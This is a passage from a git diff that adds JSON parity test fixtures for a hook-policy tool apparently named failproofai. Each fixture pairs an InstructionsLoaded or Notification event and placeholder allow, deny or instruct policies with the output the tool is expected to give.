"InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..08ef200d --- /dev/null +++ b/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b6b3abfc --- /dev/null +++ b/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..78231e72 --- /dev/null +++ b/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..b8954dac --- /dev/null +++ b/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/InstructionsLoaded/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/InstructionsLoaded/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..5109ee0b --- /dev/null +++ b/__tests__/parity/fixtures/codex/InstructionsLoaded/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/InstructionsLoaded/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/InstructionsLoaded/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..2a6ae3e9 --- /dev/null +++ b/__tests__/parity/fixtures/codex/InstructionsLoaded/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/InstructionsLoaded/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/InstructionsLoaded/deny__tool-present__one-policy.json new file mode 100644 index 00000000..d25fece3 --- /dev/null +++ b/__tests__/parity/fixtures/codex/InstructionsLoaded/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/InstructionsLoaded/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/InstructionsLoaded/deny__tool-present__two-policies.json new file mode 100644 index 00000000..adb9704b --- /dev/null +++ b/__tests__/parity/fixtures/codex/InstructionsLoaded/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/InstructionsLoaded/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/InstructionsLoaded/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..538ecb3e --- /dev/null +++ b/__tests__/parity/fixtures/codex/InstructionsLoaded/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"InstructionsLoaded\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/InstructionsLoaded/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/InstructionsLoaded/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..dbb56530 --- /dev/null +++ b/__tests__/parity/fixtures/codex/InstructionsLoaded/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"InstructionsLoaded\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/InstructionsLoaded/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/InstructionsLoaded/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..cb19b23f --- /dev/null +++ b/__tests__/parity/fixtures/codex/InstructionsLoaded/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"InstructionsLoaded\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/InstructionsLoaded/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/InstructionsLoaded/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..18b17d2c --- /dev/null +++ b/__tests__/parity/fixtures/codex/InstructionsLoaded/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"InstructionsLoaded\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Notification/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/Notification/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..ca636bbd --- /dev/null +++ b/__tests__/parity/fixtures/codex/Notification/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Notification/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/Notification/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..fb5faff6 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Notification/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Notification/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/Notification/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..328e6e23 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Notification/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Notification/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/Notification/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..dbc4153a --- /dev/null +++ b/__tests__/parity/fixtures/codex/Notification/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Notification/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/Notification/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..11f892bf --- /dev/null +++ b/__tests__/parity/fixtures/codex/Notification/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Notification/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/Notification/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..dc21f1f8 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Notification/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Notification/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/Notification/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..4feaa898 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Notification/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": 